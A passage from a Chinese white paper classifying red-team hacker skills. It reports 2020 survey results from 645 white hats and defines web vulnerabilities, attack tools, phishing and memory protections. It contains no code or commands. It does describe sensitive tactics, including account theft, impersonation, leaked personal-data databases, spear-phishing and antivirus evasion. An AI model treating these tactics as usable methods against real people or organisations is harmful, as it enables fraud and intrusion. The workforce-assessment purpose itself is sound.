而实战攻防演习工作的核心目标,是发现和解决由网络安全问题引发的业务安全及生产安全 问题,攻击过程也是针对实际运行中的业务系统或生产设备。 此外,传统的挖洞工作主要关注的是对单一系统的单点突破,实战攻防演习更多关注的 则是多个系统并存的复杂体系,关注的是复杂体系在运行、管理过程中存在的安全隐患。对 于多数大中型政企机构来说,内部存在几十个,甚至上百个不同的信息化系统的情况是非常 普遍的。 2) 挖洞只是辅助,攻击必须有效 单纯的挖洞工作,一般只需证明漏洞的存在,提交漏洞报告即可。但在实战化的业务环 境中,存在漏洞不等于能够实现有效的攻击。一方面,这是因为漏洞的实际触发可能依赖于 诸多条件,这些条件在实际的业务环境中未必存在;另一方面,即便漏洞是有效的,但如果 攻击者只能实现单点突破,而无法达到预设的最终目标,同样不能完成有效的攻击。 3) 攻击是个过程,允许社工方法 对单一漏洞进行挖掘和利用,往往只能实现某个局部的技术目标。但事实上,在绝大多 数的实战攻防演习过程中,攻击方需要连续突破多个外围系统或关联系统,才能最终达到计 划中的攻击目标。也就是说,攻击者需要掌握一系列的漏洞,并能够对机构内部的 IT 架构、 运行管理机制进行有效分析,才有可能找到有效的攻击路径,实现实战攻防演习环境下的有 效攻击。事实上,在实战攻防演习过程中,攻击方可能需要连续数日,多人协作才能完成一 整套攻击。 此外,一般的漏洞挖掘或渗透测试,是不允许使用社会工程学方法的。但在实战化环境 下,社会工程学是必不可少的攻击手法,因为真实的攻击者一定会使用这项技能。事实上, 以人为突破口,往往是实战攻防演习中攻击队的优先选择。 6 4) 动态攻防环境,有人运行值守 单纯的漏洞挖掘工作一般不需要考虑攻防过程,也就是不需要考虑防守方的参与。但在 实战攻防演习过程,防守方实际上是有专业团队在进行安全运行维护和 24 小时值守工作的。 攻击方一旦开始行动,就有可能被防守方发觉。而防守方一旦发现入侵行为,也会采取各种 反制措施、诱捕行动,以及攻击溯源。所以,实战化能力就要求白帽子必须掌握一定的身份 隐藏技能,诸如匿名网络、免杀技术、权限维持等各种安全对抗技术。 二、 实战化能力的分级与分类依据 实战化白帽人才能力可以依据不同的能力级别和技能类型进行划分。在本白皮书中,我 们主要是综合考虑了掌握技能的难易程度、市场人才的稀缺程度,以及实战化能力的有效性 这三个方面的因素,将白帽子的实战化能力从低到高依次划分为基础能力、进阶能力和高阶 能力。 1) 掌握技能的难易程度 不同的能力,学习和掌握的难易程度也不同。而技能的难易程度是能力定级的首要因素。 例如,Web 漏洞利用就相对容易,而 Web 漏洞挖掘就要困难一些,系统层漏洞的挖掘则更为 困难。所以,这三种能力也就分别依次被列入了基础能力、进阶能力和高阶能力。 2) 市场人才的稀缺程度 人才的稀缺程度,也是能力定级的重要参考因素。例如,在所有白帽子中,掌握系统层 漏洞利用的人平均来说只有 1 成左右;在 iOS 系统中,会编写 POC 或 EXP 的白帽子,也相对 少见。因此,这些能力就被归入了高阶能力。 3) 实战化能力的有效性 总体而言,越是相对高阶的能力,防守方越难以防御和发现,其在实战攻防演习过程中 发挥实效的几率也就越大。 接下来说分类问题。从不同的视角出发,我们可以对实战化能力进行不同的分类。而本 白皮书所采用分类方法,主要考虑了以下几个方面的因素: 1) 只针对实战化过程中,最主要、最实用的能力进行分类,边缘技能暂未列入分类; 2) 不同的能力分类之间,尽量相互不交叉; 3) 分类与分级兼顾,同一领域的不同能力,如果分级不同,则作为不同的分类; 4) 将挖掘、利用、开发、分析等能力作为不同的技能来分类。比如,同样是 Web 系统, 漏洞利用、漏洞挖掘、开发与编程,都是不同的能力分类。 三、 实战化白帽人才能力需求图谱 以前述分级与分类原则为基础,本白皮书将实战化白帽人才能力分为 3 个级别、14 大 类、85 项具体技能。其中,基础能力 2 类 20 项,进阶能力 4 类 23 项,高阶能力 8 类 42 项。 下图是汇集了上述所有信息的 2020 年实战化白帽人才能力图谱。 7 关于图中各项基本技能的具体含义,详见本白皮书附录 1:实战化白帽人才能力各项技 能详解。 (一)基础能力 基础能力主要包括 Web 漏洞利用与基础安全工具使用两类。 1) Web 漏洞利用 主要包括命令执行、SQL 注入、代码执行、逻辑漏洞、解析漏洞、信息泄露、XSS、配置 错误、弱口令、反序列化、文件上传与权限绕过等漏洞。 2) 基础安全工具使用 主要包括 Burp Suite、Sqlmap、AppScan、AWVS、Nmap、Wireshark、MSF、Cobalt Strike 等安全工具。 (二)进阶能力 进阶能力主要包括 Web 漏洞挖掘、Web 开发与编程、编写 PoC 或 EXP 等利用、社工钓鱼 四类。 1) Web 漏洞挖掘 主要包括命令执行、SQL 注入、代码执行、逻辑漏洞、解析漏洞、信息泄露、XSS、配置 错误、弱口令、反序列化、文件上传与权限绕过等漏洞。 8 2) Web 开发与编程 主要包括 Java、PHP、Python、C/C++、Golang 等编程语言的使用。 3) 编写 PoC 或 EXP 等利用 主要包括针对 Web 漏洞、智能硬件/IoT 漏洞等系统环境的漏洞编写 PoC 或者 EXP。 4) 社工钓鱼 主要包括开源情报收集、社工库收集、社交钓鱼和鱼叉邮件等几类社工钓鱼技能。 (三)高阶能力 高阶能力主要包括系统层漏洞利用与防护、系统层漏洞挖掘、身份隐藏、内网渗透、掌 握 CPU 指令集、高级安全工具、编写 PoC 或 EXP 等高级利用、团队协作八大类。 1) 系统层漏洞利用与防护 主要包括 SafeSEH、DEP、PIE、NX、ASLR、SEHOP、GS 等。 2) 系统层漏洞挖掘 主要包括代码跟踪、动态调试、Fuzzing 技术、补丁对比、软件逆向静态分析、系统安 全机制分析等。 3) 身份隐藏 主要包括匿名网络(如 Tor)、盗取他人 ID/账号、使用跳板机、他人身份冒用几类身份 隐藏技能。 4) 内网渗透 主要包括工作组与域环境渗透方法、横向移动、内网权限维持/提权、数据窃取、免杀 等方法。 5) 掌握 CPU 指令集 主要包括 x86、MIPS、ARM、PowerPC 等指令集。 6) 高级安全工具 主要包括 IDA、Ghidra、binwalk、OllyDbg、Peach fuzzer 等高级安全工具;编写 PoC 或 EXP 等高级利用包括:Android、iOS、Linux、macOS、网络安全设备等系统的编写。 7) 编写 PoC 或 EXP 等高级利用 主要包括在 Android、iOS、Linux、macOS、网络安全设备等操作系统上找到漏洞并编写 PoC 或 EXP 的能力。 8) 团队协作 主要包括行动总指挥、情报收集、武器装备制造、打点实施、社工钓鱼、内网渗透等。 9 第三章 中国白帽人才能力现状 2020 年 11-12 月,我们邀请了补天漏洞响应平台上 645 名白帽子进行了一次“中国白 帽人才能力现状”调研。但受到当时条件限制,部分类型数据没能调研完整,文中标记为“暂 无数据”。我们会在后续的持续调研过程中逐步补全所有数据。 一、 基础技能 (一) Web 漏洞利用 实战化白帽人才对不同类型 Web 漏洞利用的掌握情况如表 1 所示。 表1 2020 年实战化白帽子 Web 漏洞利用能力的掌握情况 漏洞类型 掌握该技能的白帽子占比 命令执行 48.4% 代码执行 41.7% 解析漏洞 暂无数据 XSS 62.2% 弱口令 暂无数据 文件上传 暂无数据 SQL 注入 73.0% 逻辑漏洞 暂无数据 信息泄露 60.3% 配置错误 暂无数据 反序列化 暂无数据 权限绕过 56.1% (二) 基础安全工具 实战化白帽人才对基础安全工具的掌握情况如表 2 所示。 表2 2020 年实战化白帽子基础安全工具的掌握情况 基础安全工具 掌握该技能的白帽子占比 Burp Suite 95.2% AppScan 58.8% Nmap 88.5% Wireshark 66.8% Sqlmap 91.3% AWVS 73.3% 10 MSF 68.4% Cobalt Strike 53.5% 二、 进阶能力 (一) Web 漏洞挖掘 针对不同漏洞的 Web 漏洞挖掘能力掌握情况如表 3 所示。 表3 2020 年实战化白帽子 Web 漏洞挖掘能力的掌握情况 漏洞类型 掌握该技能的白帽子占比 命令执行 33.9% 代码执行 29.2% 解析漏洞 暂无数据 XSS 43.5% 弱口令 暂无数据 文件上传 暂无数据 SQL 注入 51.1% 逻辑漏洞 暂无数据 信息泄露 42.2% 配置错误 暂无数据 反序列化 暂无数据 权限绕过 39.3% (二) Web 开发与编程 针对不同开发语言环境下的 Web 开发与编程,实战化白帽人才掌握情况如表 4 所示。 表4 2020 年实战化白帽子 Web 开发与编程能力的掌握情况 Web 开发与编程 掌握该技能的白帽子占比 Java 27.1% PHP 44.2% Python 66.5% C/C++ 21.7% Golang 11.2% 熟悉语言但不会开发 32.3% 其他 7.0% (三) 编写 PoC 或 EXP 等利用 在进阶能力中,PoC 或 EXP 等利用主要针对的是 Web 漏洞、智能硬件/IoT 漏洞等系统 环境等。但受到调研条件限制,针对上述相关项目,暂无数据。 11 (四) 社工钓鱼 社工钓鱼主要为以下四大类,实战化白帽人才对社工钓鱼方法的掌握情况如表 4 所 示。 表5 2020 年实战化白帽子社工钓鱼能力的掌握情况 社工钓鱼 掌握该技能的白帽子占比 开源情报收集 39.2% 社工库收集 69.9% 鱼叉邮件 60.9% 社交钓鱼 25.0% 其他 3.0% 都没用过 18.1% 三、 高阶能力 (一) 系统层漏洞利用与防护 针对系统层漏洞的利用与防护,实战化白帽人才对不同系统层安全机制的掌握情况如 表 6 所示。 表6 2020 年实战化白帽子系统层漏洞利用与防护能力的掌握情况 基础安全工具 掌握该技能的白帽子占比 SafeSEH 16.6% DEP 15.4% PIE 13.8% NX 13.2% ASLR 13.8% SEHOP 8.5% GS 11.2% 都没用过 64.0% 其他 5.3% (二) 系统层漏洞挖掘 针对系统层漏洞挖掘,实战化白帽人才对不同漏洞挖掘技能的掌握情况如下表 7 所 示。 表7 2020 年实战化白帽子系统层漏洞挖掘能力的掌握情况 漏洞挖掘技能 掌握该技能的白帽子占比 代码跟踪 29.5% 动态调试 27.1% Fuzzing 技术 37.8% 12 补丁对比 14.7% 软件逆向静态分析 24.2% 系统安全机制分析 暂无数据 都不擅长 35.0% 其他 3.9% (三) 身份隐藏 实战化白帽人才对身份隐藏方法的掌握情况如表 8 所示。 表8 2020 年实战化白帽子身份隐藏能力的掌握 身份隐藏方法 掌握该技能的白帽子占比 匿名链路(如 Tor) 66.8% 盗取他人 ID/账号 26.2% 使用跳板机 51.4% 他人身份冒用 33.3% 都没用过 17.4% 其他 2.5% (四) 内网渗透 实战化白帽人才对内网渗透的方法掌握情况如表 9 所示。 表9 2020 年实战化白帽子内网渗透能力的掌握 内网渗透方法 掌握该技能的白帽子占比 工作组、域环境渗透 72.6% 内网权限维持/提权 74.0% 横向移动 55.0% 数据窃取 44.2% 免杀 52.9% 都没用过 10.7% 其他 2.3% (五) 掌握 CPU 指令集 实战化白帽人才对不同 CPU 指令集的掌握情况如表 10 所示。 表10 2020 年实战化白帽子 CPU 指令集的掌握 CPU 指令集 掌握该技能的白帽子占比 x86 39.4% MIPS 5.4% ARM 14.1% Alpha 7.0% 其他 4.7% 13 都不会 50.9% (六) 高级安全工具 白帽人才对高级安全工具的掌握情况如表 11 所示。 表11 2020 年实战化白帽子高级安全工具的掌握 高级安全工具 掌握该技能的白帽子占比 IDA 36.7% Ghidra 9.8% Binwalk 31.0% OllyDbg 27.9% Peach fuzzer 14.0% (七) 编写 PoC 或 EXP 等高级利用 实战化白帽人才在不同系统下的编写 PoC 或 EXP 等高级利用掌握情况如表 12 所示。 表12 2020 年实战化白帽子编写 PoC 或 EXP 等高级利用的掌握 操作系统 掌握该技能的白帽子占比 Android 14.7% iOS 5.0% Linux 12.9% macOS 3.1% 网络安全设备 19.0% 都不会 11.3% (八) 团队协作与角色 在接受本次调研的 645 名白帽子中,约 74.0%的白帽子具有组队参加有关部门组织的实 战攻防演习活动的经验,19.4%的白帽子表示自己能够胜任团队协作中的任意角色。在团队 协作中,有过各种角色实战经验的白帽子占比如表 13 所示。 表13 2020 年实战化白帽子在团队协作中担任过的角色分布情况 团队协作中的角色 有相关角色实战经验的白帽子占比 行动总指挥 24.3% 情报收集 43.0% 武器装备制造(漏洞挖掘、工具开发) 23.1% 打点实施(获取接入点、Web 渗透等) 55.2% 社工钓鱼 25.0% 内网渗透 26.7% 其他 4.7% 四、 总结 14 下图是汇集了上述所有信息的,2020 年实战化白帽人才能力现状。 15 附录 1 实战化白帽人才能力各项技能详解 一、 基础能力 (一) Web 漏洞利用 利用 Web 系统或软件的安全漏洞实施网络攻击的能力。 由于 Web 系统是绝大多数机构业务系统或对外服务系统的构建形式,所以 Web 漏洞利 用也是最常见,最基础的网络攻击形式之一。在实战攻防演习中,白帽子最为经常利用的 Web 漏洞形式包括:命令执行、代码执行、解析漏洞、XSS、弱口令、文件上传、SQL 注入、逻辑 漏洞、信息泄露、配置错误、反序列化、权限绕过等。 1) 命令执行 命令执行漏洞,是指黑客可以直接在 Web 应用中执行系统命令,从而获取敏感信息或者 拿下 Shell 权限的安全漏洞。造成命令执行漏洞最常见的原因是 Web 服务器对用户输入命 令的安全检测不足,导致恶意代码被执行。命令执行漏洞常常发生在各种 Web 组件上,包括 Web 容器、Web 框架、CMS 软件、安全组件等。 2) 代码执行 代码执行漏洞,是指通过构造特殊的语句或数据,使软件可以在设计流程之外,执行特 定函数或命令的安全漏洞。造成代码执行漏洞的主要原因是,开发人员在编写代码时,没有 充分校验输入数据的合法性。 3) 解析漏洞 解析漏洞,是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页 脚本,从而导致网站沦陷的漏洞。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。 此类漏洞中具有代表性的便是 IIS6.0 解析漏洞,此漏洞又有目录解析和文件解析两种利用 方式,但也有少部分是由于配置的疏忽所产生的。 4) XSS XSS,全称为 Cross Site Scripting,意为跨站脚本攻击,为了和更加常用的 CSS (Cascading Style Sheets,层叠样式表)有所区分,特别简写为 XSS。 XSS 攻击,通常是指通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代 码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、VBScript、ActiveX、Flash 或某些普通的 HTML 等。 攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密的网页内容、会话信息 和 Cookie 等各种用户敏感信息。 最早期的 XSS 攻击示例大多使用了跨站方法,即:用户在浏览 A 网站时,攻击者却可以 通过页面上的恶意代码,访问用户浏览器中的 B 网站资源(如 Cookie 等),从而达到攻击目 的。但随着浏览器安全技术的进步,早期的跨站方法已经很难奏效,XSS 攻击也逐渐和“跨 站”的概念没有了必然的联系。只不过由于历史习惯,XSS 这个名字一直被延用了下来,现 如今用来泛指通过篡改页面,使浏览器加载恶意代码的一种攻击方法。 16 在本文中,白帽子的 XSS 能力,是指白帽子能够发现软件或系统的设计缺陷或安全漏 洞,构造 XSS 攻击代码,实现网络攻击的技术能力。 5) 弱口令 弱口令也是安全漏洞的一种,是指系统登录口令的设置强度不高,容易被攻击者猜到或 破解。造成弱口令的主要原因是系统的运维人员、管理人员安全意识不足。常见的弱口令形 式包括:系统出厂默认口令没有修改;密码设置过于简单,如口令长度不足,单一使用字母 或数字;使用了生日、姓名、电话号码、身份证号码等比较容易被攻击者猜到的信息设置口 令;设置的口令属于流行口令库中的流行口令。 6) 文件上传 文件上传漏洞,是指可以越权或非法上传文件的安全漏洞。攻击者可以利用文件上传漏 洞将恶意代码秘密植入到服务器中,之后再通过远程访问去执行恶意代码,达到攻击的目的。 7) SQL 注入 SQL,是 Structured Query Language 的缩写,意为结构化查询语言。SQL 注入漏洞, 是最常见的安全漏洞形式之一,是指通过构造特定的 SQL 语句,可以实现对数据库服务器的 非授权查询,进而造成数据库数据泄露的安全漏洞。SQL 注入漏洞产生的主要原因是软件系 统对输入数据的合法性缺少校验或过滤不严。 8) 逻辑漏洞 逻辑漏洞,是指由于程序设计逻辑不够严谨,导致一些逻辑分支处理错误,或部分流程 被绕过,进而引发安全风险的安全漏洞。 9) 信息泄露 信息泄露漏洞,是指造成系统或服务器中,本应被保护或不可见的敏感信息被意外泄露 的安全漏洞。这些信息包括账号密码、系统配置、运行状态、关键参数、敏感文件内容等。 造成信息泄露漏洞的主要原因包括运维操作不当、系统代码不严谨等。 10)配置错误 配置错误,是指由软件或系统的配置不当导致安全风险的安全漏洞。例如,文件的或服 务的访问权限、可见范围配置不当,网络安全规则的设置错误等,都有可能使系统处于暴露 或风险之中。配置错误的本质是系统的使用或运维不当,而不是系统的设计或开发问题。造 成配置错误的主要原因是运维人员的疏忽或专业技能不足。 11)反序列化 反序列化漏洞,是指反序列化过程可以被操控或篡改,进而引发恶意代码执行风险的安 全漏洞。 序列化和反序列化都是基础的计算机技术。序列化就是把计算机中的“对象”转换成字 节流,以便于存储的一种方法。反序列化是序列化的逆过程,即将字节流还原成“对象”。 在反序列化过程中,如果输入的字节流可以被控制或篡改,就有可能产生非预期的“对 象”。这就是反序列化漏洞。此时,攻击者通过构造恶意字节流输入,就可以在反序列化过 程中,在对象被还原的过程中,使系统执行恶意代码。 12)权限绕过 权限绕过漏洞,是指可以绕过系统的权限设置或权限管理规则执行非法操作的安全漏洞。 造成权限绕过漏洞的主要原因是,软件或系统的开发人员对数据处理权限的设计或判定不严 谨、不全面。 17 (二) 基础安全工具 1) Burp Suite Burp Suite 是一个常用的 Web 攻击工具的集合平台,经常被安全工作者用来测试 Web 系统安全性,也是实战攻防演习中攻击队的常用平台。 使用者通过平台集成的工具,既可以对目标发起手动攻击,也可以自定义规则发起自动 攻击;既可以探测和分析目标漏洞,也可以使用爬虫抓取和搜索页面内容。 2) AppScan AppScan 是 IBM 公司推出的一款 Web 应用安全测试工具,采用黑盒测试的方式,可以 扫描常见的 Web 用安全漏洞。AppScan 功能比较齐全,支持登录、报表等功能。在扫描结果 中,不仅能够看到 Web 应用被扫出的安全漏洞,还提供了详尽的漏洞原理、修改建议、手动 验证等功能。 在实战攻防演习中,AppScan 是一个很方便的漏洞扫描器。 3) Nmap Nmap 是 Network Mapper 的缩写,意为网络映射器,是一款开放源代码的网络探测和安 全审核的工具。它的设计目标是快速地扫描大型网络,但也可以用于扫描单个主机。 Nmap 使用原始 IP 报文来发现网络上有哪些主机,每台主机提供什么样的服务,哪些服 务运行在什么操作系统上,这些主机使用了什么类型的报文过滤器或防火墙等。虽然 Nmap 通常用于安全审核,但许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看 整个网络的信息,管理服务升级计划,以及监视主机和服务的运行。 在实战攻防演习中,Nmap 常用来对目标系统进行资产分析。 4) Wireshark Wireshark 是一个免费开源的网络数据包分析软件,它可以帮助网络管理员检测网络问 题,帮助网络安全工程师检查信息安全相关问题。 在实战攻防演习中,数据包分析也是非常重要的基础工作。 5) Sqlmap Sqlmap 是一个开源的渗透测试工具,可以用来进行自动化检测。Sqlmap 可以利用常见 的 SQL 注入漏洞,获取数据库服务器的权限。Sqlmap 还具有功能比较强大的检测引擎,可提 供针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操 作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。 6) AWVS AWVS 是 Acunetix Web Vulnerability Scanner 的缩写。它是一个自动化的 Web 应用程 序安全测试工具,可以审计和检查 Web 漏洞。AWVS 可以扫描任何可通过 Web 浏览器访问的 和遵循 HTTP/HTTPS 规则的 Web 站点和 Web 应用程序。可以通过检查 SQL 注入攻击漏洞、XSS 漏洞等来审核 Web 应用程序的安全性。 7) MSF MSF 是 Metasploit Framework 的缩写,这不仅仅是一个工具软件,它是为自动化地实 施经典的、常规的、复杂新颖的攻击,提供基础设施支持的一个完整框架平台。它可以使使 用人员将精力集中在渗透测试过程中那些独特的方面上,以及如何识别信息安全计划的弱点 上。 MSF 的能够让用户通过选择它的渗透攻击模块、攻击载荷和编码器来实施一次渗透攻击, 也可以更进一步编写并执行更为复杂的攻击技术。 18 8) Cobalt Strike Cobalt Strike 是一款 C/S 架构的商业渗透软件,适合多人团队协作。可模拟 APT 对 抗,进行内网渗透。Cobalt Strike 集成了端口转发、端口扫描、Socks 代理、提权、凭据 导出、钓鱼、远控木马等功能。该工具几乎覆盖了 APT 攻击链中所需要用到的各个技术环节 二、 进阶能力 (一) Web 漏洞挖掘 针对 Web 系统或软件的进行漏洞挖掘的能力。 在白帽子挖掘的 Web 应用漏洞中,比较常见的漏洞形式包括:命令执行、代码执行、解 析漏洞、XSS、弱口令、文件上传、SQL 注入、逻辑漏洞、信息泄露、配置错误、反序列化、 权限绕过等。关于这些漏洞类型的具体含义,参见前述“基础能力”中的“(一)Web 漏洞利 用”,这里不再累述。 (二) Web 开发与编程 掌握一门或几门的开发与编程语言,是白帽子深入挖掘 Web 应用漏洞,分析 Web 站点及 业务系统运行机制的重要基础能力。在实战攻防演习中,白帽子最为经常遇到和需要掌握的 编程语言包括:Java、PHP、Python、C/C++、Golang 等。 1) Java Java 是一种面向对象的计算机编程语言,具有简单性、功能强大、分布式、健壮性、安 全性、平台独立与可移植性、多线程及动态性的特点,经常用于编写桌面应用程序、Web 应 用程序、分布式系统和嵌入式系统应用程序等。 2) PHP PHP 原为 Personal Home Page 的缩写,后更名为 Hypertext Preprocessor,但保留了 人们已经习惯的“PHP”的缩写形式。其含义为:超文本预处理器,是一种通用开源脚本语 言。PHP 主要适用于 Web 开发领域,是在服务器端执行的,常用的脚本语言。PHP 独特的语 法混合了 C、Java、Perl 以及 PHP 自创的语法,利于学习,使用广泛。 3) Python Python 是一种跨平台的计算机程序设计语言, 是一个高层次的,结合了解释性、编译 性、互动性和面向对象的脚本语言。最初被设计用于编写自动化脚本(Shell),随着版本的 不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。 4) C/C++ C/C++是一种通用的编程语言,广泛用于系统软件与应用软件的开发。语言具有高效、 灵活、功能丰富、表达力强和较高的可移植性等特点,在程序设计中备受青睐,是当前使用 最为广泛的编程语言。在 Web 开发中常用于嵌入式设备的开发。 5) Golang Golang 语言,简称 Go 语言,是由三位 Google 工程师开发的一种静态强类型、编译型 语言。Go 语言语法与 C 相近,但具有内存安全、垃圾回收、结构形态及 CSP-style 并发 计算等功能。 (三) 编写 PoC 或 EXP 等利用 19 PoC,是 Proof of Concept 的缩写,即概念验证,特指为了验证漏洞存在而编写的程序 代码。有时也经常被用来作为 0day、Exploit(漏洞利用)的别名。 EXP,是 Exploit 的缩写,即漏洞利用代码。一般来说,有漏洞不一定就有 EXP,而有 EXP,就肯定有漏洞。 PoC 和 EXP 的概念仅有细微的差别,前者用于验证,后者则是直接的利用。能够自主编 写 PoC 或 EXP,要比直接使用第三方编写的漏洞利用工具或成熟的漏洞利用代码困难的多。 但对于很多没有已知利用代码的漏洞或 0day 漏洞,自主编写 PoC 或 EXP 就显得非常重要了。 此外,针对不同的目标或在不同的系统环境中,编写 PoC 或 EXP 的难度也不同。针对 Web 应用和智能硬件/IoT 设备等,编写 PoC 或 EXP 相对容易,属于进阶能力;而针对操作系 统或安全设备编写 PoC 或 EXP 则更加困难,因此属于高阶能力了。 (四) 社工钓鱼 社工钓鱼,是指利用社会工程学手法,利用伪装、欺诈、诱导等方式,利用人的安全意 识不足或安全能力不足,对目标机构特定人群实施网络攻击的一种手段。社工钓鱼,既是实 战攻防演习中经常使用的作战手法,也是黑产团伙或黑客组织最为经常使用的攻击方式。在 很多情况下,“搞人”要比“搞系统”容易得多。 社工钓鱼的方法和手段多种多样。在实战攻防演习中,最为常用,也是最为实用的技能 主要有四种:开源情报收集、社工库收集、鱼叉邮件和社工钓鱼。其中,前面两个都属于情 报收集能力,而后面两个则属于攻防互动能力。 1) 开源情报收集 开源情报收集能力,是指在公开的互联网信息平台上,合法收集针对目标机构的关键情 报信息的能力。例如,新闻媒体、技术社区、企业官网、客户资源平台等公开信息分享平台 都是开源情报收集的重要渠道。白帽子可以通过开源情报收集,获取诸如企业员工内部邮箱、 联系方式、企业架构、供应链名录、产品代码等关键情报信息。这些信息都可以为进一步的 攻击提供支撑。 开源情报收集是白帽子首要的情报收集方式,其关键在于要从海量网络信息中,找到并 筛选出有价值的情报信息组合。通常情况下,单一渠道公开的机构信息,大多没有什么敏感 性和保密性。但如果将不同渠道的多源信息组合起来,就能够形成非常有价值的情报信息。 当然,也不排除某些机构会不慎将内部敏感信息泄露在了互联网平台上。白帽子在互联网平 台上直接找到机构内部开发代码,找到账号密码本的情况也并不少见。 2) 社工库收集 社工库收集能力,是指针对特定目标机构的社工库信息的收集能力。 所谓社工库,通常是指含有大量用户敏感信息的数据库或数据包。这些敏感信息包括但 不限于,如账号、密码、姓名、身份证号、电话号码、人脸信息、指纹信息、行为信息等。 由于这些信息非常有助于攻击方针对特定目标设计有针对性的社会工程学陷阱,因此将这些 信息集合起来的数据包或数据库,就被称为社会工程学库,简称社工库。 社工库是地下黑产或暗网上交易的重要标的物。不过,在实战攻防演习过程中,白帽子 所使用的社工库资源,必须兼顾合法性问题,这就比黑产团伙建立社工库的难度要大得多。 3) 鱼叉邮件 鱼叉邮件能力,是指通过制作和投递鱼叉邮件,实现对机构内部特定人员有效欺骗的一 种社工能力。 鱼叉邮件是针对特定组织机构内部特定人员的定向邮件欺诈行为,目的是窃取机密数据 或系统权限。鱼叉邮件有多种形式,可以将木马程序作为邮件的附件发送给特定的攻击目标, 20 也可以构造特殊的、有针对性的邮件内容诱使目标人回复或点击钓鱼网站。鱼叉邮件主要针 对的是安全意识或安全能力不足的机构内部员工。不过,某些设计精妙的鱼叉邮件,即便是 经验的安全人员也难以识别。 4) 社交钓鱼 社交钓鱼能力,是指通过社交软件或社交网站与攻击目标内的成员进行沟通交流,骗取 对方信任并借此收集相关情报信息的能力。社交钓鱼,一般建立在使人决断产生认知偏差的 基础上,具体形式包括但不限于:微信、QQ 等社交软件/网站的在线聊天、电话钓鱼、短信 钓鱼等。 社工钓鱼,其实也是网络诈骗活动的主要方法,但以往实战攻防演习中还很少被使用。 但随着防守方能力的不断提升,直接进行技术突破的难度越来越大,针对鱼叉邮件也有了很 多比较有效的监测方法,于是近两年,社交钓鱼方法的使用就开始越来越多了。 三、 高阶能力 (一) 系统层漏洞利用与防护 为应对各种各样的网络攻击,操作系统内部有很多底层的安全机制。而每一种安全机制, 都对应了一定形式的网络攻击方法。对于白帽子来说,学习和掌握底层的系统安全机制,发 现程序或系统中安全机制设计的缺陷或漏洞,是实现高水平网络攻击的重要基础技能。本小 节总结了实战攻防演习中,最为实用、也是最为常用的 7 种典型的系统层安全机制。 1) SafeSEH 当系统遭到攻击时,程序运行就会出现异常,并触发异常处理函数。而要使攻击能够继 续进行,攻击者就常常需要伪造或篡改系统异常处理函数,使系统无法感知到异常的发生。 SafeSEH,(Safe Structured exception handling)是 Windows 操作系统的一种安全机 制,专门用于防止异常处理函数被篡改,即在程序调用异常处理函数之前,对要调用的异常 处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠或存在安全风险,则应立 即终止异常处理函数的调用。反之,如果 SafeSEH 机制设计不完善或存在缺欠,就有可能被 攻击者利用,欺骗或绕过。 在本文中,白帽子的 SafeSEH 能力,是指白帽子掌握 SafeSEH 的技术原理,并能够发现 程序或系统中 SafeSEH 机制的设计缺陷,并加以利用实施攻击的能力。 2) DEP DEP,是 Data Execution Protection 的缩写,意为数据执行保护,作用是防止数据页 内的数据被当作执行代码来执行,从而引发安全风险。 从计算机内存的角度看,数据和代码的处理并没有特别明确区分,只不过是在系统的调 度下,CPU 会对于不同内存区域中的不同数据,进行不一样的计算而已。这就使得系统在处 理某些经过攻击者精心构造的数据时,会误将其中的一部分“特殊数据”当作可执行代码来 执行,从而触发恶意命令的执行。而 DEP 机制设计的重要目的就是仿制这种问题的发生;反 之,如果 DEP 机制设计不完善或存在缺欠,就有可能被攻击者所利用,欺骗或绕过。 在本文中,白帽子的 DEP 能力,是指白帽子掌握 DEP 的技术原理,并能够发现程序或系 统中 DEP 机制的设计缺陷,并加以利用实施攻击的能力。 3) PIE PIE 是 Position-Independent Executable 的缩写,意为地址无关可执行文件,与 PIC 21 (Position-Independent Code,地址无关代码)含义基本相同,是 Linux 或 Android 系统 中动态链接库的一种实现技术。 在本文中,白帽子的 PIE 能力,是指白帽子掌握 PIE 的技术原理,并能够发现程序或系 统中 PIE 机制的设计缺陷,并加以利用实施攻击的能力。 4) NX NX,是 No-eXecute 的缩写,意为不可执行,是 DEP(数据执行保护)技术中的一种,作 用是防止溢出攻击中,溢出的数据被当作可执行代码来执行。NX 的基本原理是将数据所在 内存页标识为不可执行,当操作系统读到这段溢出数据时,就会抛出异常,而非执行恶意指 令。反之,如果 NX 机制设计不完善或存在缺欠,就可以被攻击者利用并发动溢出攻击。 在本文中,白帽子的 NX 能力,是指白帽子掌握 NX 的技术原理,并能够发现程序或系统 中 NX 机制的设计缺陷,并加以利用实施攻击的能力。 5) ASLR ASLR,Address Space Layout Randomization 的缩写,意为地址空间随机化,是一种 操作系统用来抵御缓冲区溢出攻击的内存保护机制。这种技术使得系统上运行的进程的内存 地址无法被预测,使得与这些进程有关的漏洞变得更加难以利用。 在本文中,白帽子的 ASLR 能力,是指白帽子掌握 ASLR 的技术原理,并能够发现程序或 系统中 ASLR 机制的设计缺陷,并加以利用实施攻击的能力。 6) SEHOP SEHOP,是 Structured Exception Handler Overwrite Protection 的缩写,意为结构 化异常处理覆盖保护。其中,结构化异常处理是指按照一定的控制结构或逻辑结构对程序进 行异常处理的一种方法。如果结构化异常处理链表上面的某个节点或者多个节点,被攻击者 精心构造的数据所覆盖,就可能导致程序的执行流程被控制,这就是 SEH 攻击。而 SEHOP 就 是 Windows 操作系统中,针对这种攻击给出的一种安全防护方案。 在本文中,白帽子的 SEHOP 能力,是指白帽子掌握 SEHOP 的技术原理,并能够发现程序 或系统中 SEHOP 机制的设计缺陷,并加以利用实施攻击的能力。 7) GS GS,意为缓冲区安全性检查,是 Windows 缓冲区的安全监测机制,用于防止缓冲区溢出 攻击。 缓冲区溢出是指当计算机向缓冲区内填充数据位数时,填充的数据超过了缓冲区本身的 容量,于是溢出的数据就会覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且 并不允许输入超过缓冲区长度的字符。但是很多程序都会假设数据长度总是与所分配的储存 